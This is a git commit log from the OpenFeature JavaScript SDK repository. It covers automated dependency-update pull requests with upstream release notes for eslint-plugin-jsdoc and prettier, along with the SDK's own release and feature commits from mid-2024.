Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.10.1...v48.10.2)

##### Bug Fixes

- **`check-template-names`:** check for param and returns tags; fixes
[#&#8203;1286](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1286)
([12fca71](12fca71fdc))

###
[`v48.10.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.10.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.10.0...v48.10.1)

##### Bug Fixes

- add espree as dependency; fixes
[#&#8203;1284](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1284)
([31e0a35](31e0a35382))

###
[`v48.10.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.10.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.3...v48.10.0)

##### Features

- **`require-template`, `check-template-names`:** add support
`ClassDeclaration`
([31d3255](31d3255598))
- **`require-template`, `check-template-names`:** add support
`FunctionDeclaration`
([28bc1cb](28bc1cb866))
- **`require-template`, `check-template-names`:** add support
`TSInterfaceDeclaration`
([320a1eb](320a1ebb5c))

###
[`v48.9.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.9.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.2...v48.9.3)

##### Bug Fixes

- **`getJsdocProcessorPlugin`:** ensure package.json file is
consistently located
([87a1270](87a12703b2))

###
[`v48.9.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.1...2fbd47c3d2b23a41d87b979daa56a648270d3675)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.1...v48.9.2)

###
[`v48.9.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.0...3ba475e589bc1dc83a7f57950378b2da0228e7fc)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.0...v48.9.1)

###
[`v48.9.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.9.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.3...v48.9.0)

##### Features

- add `check-examples` replacement processor; fixes
[#&#8203;928](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/928)
([6248d59](6248d59a38))

###
[`v48.8.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.8.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.2...v48.8.3)

##### Bug Fixes

- **`require-template`, `check-template-names`:** check
[@&#8203;property](https://togithub.com/property) tags; fixes
[#&#8203;1269](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1269)
([22e3274](22e32743cb))

###
[`v48.8.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.1...736a23be9fa8816bf4e712d58cbd4fc5a5fd738c)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.1...v48.8.2)

###
[`v48.8.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.8.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.0...v48.8.1)

##### Bug Fixes

- **sort-tags:** [@&#8203;template](https://togithub.com/template) must
be before [@&#8203;typedef](https://togithub.com/typedef)
([6fb0b3e](6fb0b3eb07))

###
[`v48.8.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.7.0...f61e5b2487bb38daf76ed9edaccff9e4d14ee53f)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.7.0...v48.8.0)

###
[`v48.7.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.6.0...d46be35b613d6da8f6eb636e8b5ec3533dfdb629)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.6.0...v48.7.0)

###
[`v48.6.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.6.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.2...v48.6.0)

##### Features

- new rule `convert-to-jsdoc-comments`; fixes
[#&#8203;1002](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1002)
([d5fa8da](d5fa8da257))

###
[`v48.5.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.5.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.1...v48.5.2)

##### Bug Fixes

- **`require-param`:** proper errors/fixing for succeeding destructured
objects; fixes
[#&#8203;762](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/762)
([394b85f](394b85f3d5))

###
[`v48.5.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.0...6371c4a3901a44cc05fcf6718a28179087b19d89)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.0...v48.5.1)

###
[`v48.5.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.5.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.4.0...v48.5.0)

##### Features

- **`check-param-names`:** check `TSMethodSignature` (as on interface
methods); fixes
[#&#8203;1249](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1249)
([49400e1](49400e15e2))

###
[`v48.4.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.4.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.3.0...v48.4.0)

##### Features

- **`no-types`:** add `TSMethodSignature`; fixes
[#&#8203;1249](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1249)
([1aa3313](1aa3313e69))

###
[`v48.3.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.3.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.15...v48.3.0)

##### Bug Fixes

- **`no-undefined-types`:** treat variables imported by
`[@import](https://togithub.com/import)` tags as defined; fixes
[#&#8203;1244](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1244)
([54ac4fd](54ac4fd4c5))

##### Features

- **`check-values`:** checks for valid
`[@import](https://togithub.com/import)` syntax
([ad31b14](ad31b14c78))

###
[`v48.2.15`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.15)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.14...v48.2.15)

##### Bug Fixes

- Revert "fix(`no-undefined-types`): treat variables imported by
`[@import](https://togithub.com/import)` tags as defined"; fixes
[#&#8203;1246](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1246)
([ce066df](ce066df38e))

###
[`v48.2.14`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.14)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.13...v48.2.14)

##### Bug Fixes

- **`no-undefined-types`:** treat variables imported by
`[@import](https://togithub.com/import)` tags as defined; fixes
[#&#8203;1244](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1244)
([34ba2e0](34ba2e01d8))

###
[`v48.2.13`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.13)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.12...v48.2.13)

##### Bug Fixes

- **`no-undefined-types`:** prevent linting of "type" within
[@&#8203;import](https://togithub.com/import); fixes
[#&#8203;1242](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1242)
([0bea154](0bea15458c))

###
[`v48.2.12`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.12)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.11...v48.2.12)

##### Bug Fixes

- namespace flat config `name`'s
([8603579](8603579b1f))

###
[`v48.2.11`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.11)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.10...v48.2.11)

##### Bug Fixes

- avoid inserting `name` for eslintrc configs; fixes
[#&#8203;1239](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1239)
([c2d5a35](c2d5a353e2))

###
[`v48.2.10`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.10)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.9...v48.2.10)

##### Bug Fixes

- add names to flat configs
([5429982](5429982d7a))

###
[`v48.2.9`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.9)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.8...v48.2.9)

##### Bug Fixes

- **`require-description-complete-sentence`:** regression with heading
exempting; fixes
[#&#8203;1220](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1220)
([fbc9fca](fbc9fca5cf))

###
[`v48.2.8`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.8)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.7...v48.2.8)

##### Bug Fixes

- **`require-description-complete-sentence`:** avoid triggering
punctuation warning after Markdown headings; fixes
[#&#8203;1220](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1220)
([e9e4440](e9e444034f))

###
[`v48.2.7`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.6...fb3e0e6cd2535af323286b56e37bccf519d56920)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.6...v48.2.7)

###
[`v48.2.6`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.6)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.5...v48.2.6)

##### Bug Fixes

- **`require-yields`:** avoid error when `ExportNamedDeclaration` has no
`declaration` prop
([93a9415](93a9415858))

###
[`v48.2.5`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.5)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.4...v48.2.5)

##### Bug Fixes

- handle deprecated `typeParameters`
([#&#8203;1229](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1229))
([d417d05](d417d05d94))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNjMuNSIsInVwZGF0ZWRJblZlciI6IjM3LjQ0MC43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:12:01 -04:00
renovate[bot] bebacfa061
chore(deps): update dependency prettier to v3.3.3 (#954)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://togithub.com/prettier/prettier)) | [`3.2.5` ->
`3.3.3`](https://renovatebot.com/diffs/npm/prettier/3.2.5/3.3.3) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.2.5/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.2.5/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.3.3`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#333)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.3.2...3.3.3)

[diff](https://togithub.com/prettier/prettier/compare/3.3.2...3.3.3)

##### Add parentheses for nullish coalescing in ternary
([#&#8203;16391](https://togithub.com/prettier/prettier/pull/16391) by
[@&#8203;cdignam-segment](https://togithub.com/cdignam-segment))

This change adds clarity to operator precedence.

<!-- prettier-ignore -->

```js
// Input
foo ? bar ?? foo : baz;
foo ?? bar ? a : b;
a ? b : foo ?? bar;

// Prettier 3.3.2
foo ? bar ?? foo : baz;
foo ?? bar ? a : b;
a ? b : foo ?? bar;

// Prettier 3.3.3
foo ? (bar ?? foo) : baz;
(foo ?? bar) ? a : b;
a ? b : (foo ?? bar);
```

##### Add parentheses for decorator expressions
([#&#8203;16458](https://togithub.com/prettier/prettier/pull/16458) by
[@&#8203;y-schneider](https://togithub.com/y-schneider))

Prevent parentheses around member expressions or tagged template
literals from being removed to follow the stricter parsing rules of
TypeScript 5.5.

<!-- prettier-ignore -->

```ts
// Input
@&#8203;(foo`tagged template`)
class X {}

// Prettier 3.3.2
@&#8203;foo`tagged template`
class X {}

// Prettier 3.3.3
@&#8203;(foo`tagged template`)
class X {}
```

##### Support `@let` declaration syntax
([#&#8203;16474](https://togithub.com/prettier/prettier/pull/16474) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

Adds support for Angular v18 `@let` declaration syntax.

Please see the following code example. The `@let` declaration allows you
to define local variables within the template:

<!-- prettier-ignore -->

```html
@&#8203;let name = 'Frodo';

<h1>Dashboard for {{name}}</h1>
Hello, {{name}}
```

For more details, please refer to the excellent blog post by the Angular
Team: [Introducing @&#8203;let in
Angular](https://blog.angular.dev/introducing-let-in-angular-686f9f383f0f).

We also appreciate the Angular Team for kindly answering our questions
to implement this feature.

###
[`v3.3.2`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#332)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.3.1...3.3.2)

[diff](https://togithub.com/prettier/prettier/compare/3.3.1...3.3.2)

##### Fix handlebars path expressions starts with `@`
([#&#8203;16358](https://togithub.com/prettier/prettier/pull/16358) by
[@&#8203;Princeyadav05](https://togithub.com/Princeyadav05))

<!-- prettier-ignore -->

```hbs
{{! Input }}
<div>{{@&#8203;x.y.z}}</div>

{{! Prettier 3.3.1 }}
<div>{{@&#8203;x}}</div>

{{! Prettier 3.3.2 }}
<div>{{@&#8203;x.y.z}}</div>
```

###
[`v3.3.1`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#331)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.3.0...3.3.1)

[diff](https://togithub.com/prettier/prettier/compare/3.3.0...3.3.1)

##### Preserve empty lines in front matter
([#&#8203;16347](https://togithub.com/prettier/prettier/pull/16347) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```markdown
<!-- Input -->
---
foo:
  - bar1

  - bar2

  - bar3
---
Markdown

<!-- Prettier 3.3.0 -->

---
foo:
  - bar1
  - bar2
  - bar3
---

Markdown

<!-- Prettier 3.3.1 -->
---
foo:
  - bar1

  - bar2

  - bar3
---

Markdown
```

##### Preserve explicit language in front matter
([#&#8203;16348](https://togithub.com/prettier/prettier/pull/16348) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```markdown
<!-- Input -->
---yaml
title: Hello
slug: home
---

<!-- Prettier 3.3.0 -->
---
title: Hello
slug: home
---

<!-- Prettier 3.3.1 -->
---yaml
title: Hello
slug: home
---
```

##### Avoid line breaks in import attributes
([#&#8203;16349](https://togithub.com/prettier/prettier/pull/16349) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
import something from "./some-very-very-very-very-very-very-very-very-long-path.json" with { type: "json" };

// Prettier 3.3.0
import something from "./some-very-very-very-very-very-very-very-very-long-path.json" with { type:
  "json" };

// Prettier 3.3.1
import something from "./some-very-very-very-very-very-very-very-very-long-path.json" with { type: "json" };
```

###
[`v3.3.0`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#330)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.2.5...3.3.0)

[diff](https://togithub.com/prettier/prettier/compare/3.2.5...3.3.0)

🔗 [Release Notes](https://prettier.io/blog/2024/06/01/3.3.0.html)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zODguMSIsInVwZGF0ZWRJblZlciI6IjM3LjQzOC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:11:24 -04:00
renovate[bot] 8d759d8de9
chore(deps): update dependency @types/react to v18.3.4 (#946)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.3.1` ->
`18.3.4`](https://renovatebot.com/diffs/npm/@types%2freact/18.3.1/18.3.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.3.1/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.3.1/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNTEuMiIsInVwZGF0ZWRJblZlciI6IjM4LjI2LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:10:12 -04:00
Michael Beemer 429c4ae941
docs(react): update the error message (#978)
## This PR

- updates the example error message

### Notes

The linter used by the documentation expects a language to be used on
all code fences.


https://github.com/open-feature/openfeature.dev/actions/runs/10449600501/job/28932244856?pr=592

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-08-26 13:23:00 -04:00
Juan Bernal 16b0d74340
feat: updated the Metadata type to allow for custom properties (#975)
## This PR
- Updates the `Metadata` type to a `Record` so that Providers can
provide more than just the `name` property as part of the `metadata`.

### Notes
Conversation
[here](https://cloud-native.slack.com/archives/C03J36ZP020/p1721747906370629).

---------

Signed-off-by: Juan Bernal <juanxwtf@gmail.com>
2024-08-23 16:29:55 +00:00
Todd Baert 964d65b775
chore: add assertion for hook context contents (#977)
There's no bug here, but this adds some asserts for a tricky bug I
recently found in the Java SDK:
https://github.com/open-feature/java-sdk/pull/1049

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-23 11:23:54 -04:00
OpenFeature Bot 51d43230d9
chore(main): release react-sdk 0.4.3 (#981)
🤖 I have created a release *beep* *boop*
---


##
[0.4.3](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.2...react-sdk-v0.4.3)
(2024-08-22)


### 🐛 Bug Fixes

* race condition in test provider with suspense
([#980](https://github.com/open-feature/js-sdk/issues/980))
([0f187fe](0f187fe0b5))


### 🧹 Chore

* fix flaky test timing
([ad46ade](ad46ade143))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-08-22 15:22:56 -04:00
OpenFeature Bot 6a277efa72
chore(main): release web-sdk 1.2.2 (#982)
🤖 I have created a release *beep* *boop*
---


##
[1.2.2](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.2.1...web-sdk-v1.2.2)
(2024-08-22)


### 🐛 Bug Fixes

* race condition in test provider with suspense
([#980](https://github.com/open-feature/js-sdk/issues/980))
([0f187fe](0f187fe0b5))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-08-22 15:19:23 -04:00
Todd Baert ad46ade143 chore: fix flaky test timing
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-22 15:15:42 -04:00
Todd Baert 0f187fe0b5
fix: race condition in test provider with suspense (#980)
Fixes an issues with the React `OpenFeatureTestProvider` where the
provider was not ready until the next event loop tick when the
`flagValueMap` was used.

Also removes the initialization in the client in-memory provider, since
it was only doing some un-needed validation inconsistent with the server
provider.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-22 19:08:38 +00:00
OpenFeature Bot cb4e56ae80
chore(main): release react-sdk 0.4.2 (#974)
🤖 I have created a release *beep* *boop*
---


##
[0.4.2](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.1...react-sdk-v0.4.2)
(2024-07-29)


###  New Features

* add test provider
([#971](https://github.com/open-feature/js-sdk/issues/971))
([1c12d4d](1c12d4d548))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-07-29 14:12:27 -04:00
Todd Baert 1c12d4d548
feat: add test provider (#971)
Adds some testing utilities, specifically an
`<OpenFeatureTestProvider/>` react context provider.

See README for details.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-07-29 17:52:59 +00:00
OpenFeature Bot a621e6d804
chore(main): release web-sdk 1.2.1 (#966)
🤖 I have created a release *beep* *boop*
---


##
[1.2.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.2.0...web-sdk-v1.2.1)
(2024-06-12)


### 🐛 Bug Fixes

* **web-sdk:** pin core version to 1.3.0
([#964](https://github.com/open-feature/js-sdk/issues/964))
([3cde37a](3cde37a5ee))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-06-12 17:01:27 +00:00
Michael Beemer 3cde37a5ee
fix(web-sdk): pin core version to 1.3.0 (#964)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-06-12 12:46:57 -04:00
OpenFeature Bot d53e2eebe1
chore(main): release react-sdk 0.4.1 (#960)
🤖 I have created a release *beep* *boop*
---


##
[0.4.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.0...react-sdk-v0.4.1)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-06-11 12:45:04 -04:00
OpenFeature Bot cffcf6a75f
chore(main): release nestjs-sdk 0.2.1-experimental (#962)
🤖 I have created a release *beep* *boop*
---


##
[0.2.1-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.0-experimental...nestjs-sdk-v0.2.1-experimental)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-06-11 12:40:46 -04:00
OpenFeature Bot a91b42b147
chore(main): release web-sdk 1.2.0 (#961)
🤖 I have created a release *beep* *boop*
---


##
[1.2.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.1.0...web-sdk-v1.2.0)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))


### 🧹 Chore

* **main:** release core 1.3.0
([#958](https://github.com/open-feature/js-sdk/issues/958))
([25086c5](25086c5456))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-06-11 11:30:33 -04:00
OpenFeature Bot a3a9b22bef
chore(main): release server-sdk 1.15.0 (#959)
🤖 I have created a release *beep* *boop*
---


##
[1.15.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.14.0...server-sdk-v1.15.0)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))


### 🧹 Chore

* **main:** release core 1.3.0
([#958](https://github.com/open-feature/js-sdk/issues/958))
([25086c5](25086c5456))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-06-11 10:50:06 -04:00
OpenFeature Bot 25086c5456
chore(main): release core 1.3.0 (#958)
🤖 I have created a release *beep* *boop*
---


##
[1.3.0](https://github.com/open-feature/js-sdk/compare/core-v1.2.0...core-v1.3.0)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-06-11 13:21:30 +00:00
Michael Beemer c2d6c1761a
feat: lower compilation target to es2015 (#957)
## This PR

- replace the es2022 error cause with a custom implementation
- lower compilation target from es2022 to es2015

### Related Issues

Fixes #956

### Notes

The tests pass, but I still want to manually build and test the outputs
in a real application to ensure everything works as expected.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-06-11 12:47:19 +00:00
OpenFeature Bot d202994029
chore(main): release nestjs-sdk 0.2.0-experimental (#951) 2024-05-19 12:43:22 +02:00
Lukas Reining a531238124
feat!: rename FeatureClient decorator to OpenFeatureClient (#949)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

As discussed here
[#750](https://github.com/open-feature/js-sdk/pull/750#discussion_r1450896230),
renames `@FeatureClient` to `@OpenFeatureClient` which is possible since
we merged #918.

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-05-19 10:36:36 +00:00
OpenFeature Bot e9d3ebc3d8
chore(main): release react-sdk 0.4.0 (#942)
🤖 I have created a release *beep* *boop*
---


##
[0.4.0](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.4...react-sdk-v0.4.0)
(2024-05-13)


### ⚠ BREAKING CHANGES

* disable suspense by default, add suspense hooks
([#940](https://github.com/open-feature/js-sdk/issues/940))

###  New Features

* disable suspense by default, add suspense hooks
([#940](https://github.com/open-feature/js-sdk/issues/940))
([6bcef89](6bcef8977d))
* set context during provider init on web
([#919](https://github.com/open-feature/js-sdk/issues/919))
([7e6c1c6](7e6c1c6e70))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-13 17:41:58 -04:00
